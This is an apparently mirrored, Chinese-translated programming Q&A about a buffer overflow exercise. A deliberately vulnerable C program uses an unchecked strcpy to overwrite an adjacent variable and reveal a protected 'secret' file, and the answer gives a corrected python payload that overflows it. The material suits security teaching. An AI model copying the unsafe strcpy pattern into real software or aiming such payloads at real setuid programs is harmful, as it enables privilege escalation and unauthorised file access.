簡體   English   中英

C中的緩沖區溢出漏洞利用

[英]Buffer Overflow exploit in C

下面給出的是文件q2.c中的代碼

我需要使用內存漏洞來讀取沒有對我的組具有讀取權限的文件'secret'的內容。

我嘗試使用./q2 $(python -c 'print "\\xad\\xdd\\xba"*1024 ')來獲取文件'secret'的輸出(見第28行),但可能我犯了一些錯誤。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>

int main(int argc, char **argv) 
{
// the struct is used to ensure the loc variables are in the same order
// without struct, compiler can swap these around making expolit impossible  
struct {
 char buffer[1024];
 volatile int changeme;
} locals;

locals.changeme = 0;

if (argc != 2) {
  printf("Usage: q2 <some string>\n");
  return 1;
}
// copy argument to the buffer
strcpy(locals.buffer, argv[1]);

// reveal the secret if "changeme" has been changed
if (locals.changeme == 0xbaddad) {
 setreuid(geteuid(),getegid());
 system("cat /home/q2/secret");
} 
else {
 printf("Try again!\n");
}
exit(0);
}

從命令傳遞參數時會發生此問題:

$(python -c 'print "\xad\xdd\xba"*1024 ')

這里\\xad\\xdd\\xba ,實際上需要3個字節,所以它變成3 * 1024字節。 1024也不能被3整除,如果緩沖區大小為1023,那么它就可以工作了。

所以不要試試:

$(python -c 'print "\xab" * 1024 + "\xad\xdd\xba"')

它將使用\\xab填充緩沖區,然后對於接下來的三個字節,它將使用您想要的值填充整數。

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM